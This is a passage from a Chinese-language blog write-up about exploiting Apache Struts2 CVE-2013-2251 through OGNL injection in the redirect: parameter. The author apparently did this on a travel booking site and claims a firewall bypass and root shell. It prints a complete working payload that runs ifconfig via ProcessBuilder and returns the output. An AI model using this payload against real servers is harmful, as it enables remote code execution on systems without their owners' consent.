前言

嗨,大家好,
此篇文章是关于Apache struts2 CVE-2013-2251的病毒式传播并由于其能导致执行远程命令而被高度利用的漏洞。
简而言之,通过操纵以"action:"/"redirect:"/"redirectAction:"为前缀的参数引入的漏洞,可以使用小于Struts 2.3.15作为框架,在Java Web应用程序中执行远程命令。
现在,当这个漏洞发生传播时,主流应用防火墙公司开始更新他们的规则引擎和检测技术,以防止它的进一步感染,这是一个非常明显和负责任的事情。
但是我不仅能够绕过防火墙并获得远程代码执行,还能够通过利用内核CVE以root用户身份获取服务器的shell

 

完整的攻击流程

这是当我测试旅行预订网站时发现的。
为了查明应用程序是否正在运行在易受攻击的Apache Struts框架上,您必须简单地检查以下易受攻击的参数 – “action, redirect,redirectAction”
我google了一下(并且我受困于一个叫做OGNL的表达式)
但是这篇文章对我帮助很大:

http://blog.opensecurityresearch.com/2014/02/attacking-struts-with-cve-2013-2251.html 

下面是用于运行命令ifconfig的有效payload

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()} 


但正如预期的那样,它被应用程序防火墙阻止,并将我重定向到一个bot机器页面

当这样的事情发生在我身上时,我总是回到最开始的思考。
正如前面指出的那样,我知道哪些参数易受攻击,其中之一是我在上述请求中使用的“重定向”。
“重定向”,是的,只要你觉得它是正确的,就让我们尝试在这里尝试
我只是把重定向:http://www.goal.com

正如你所看到的,我得到了302重定向并到达了http://www.goal.com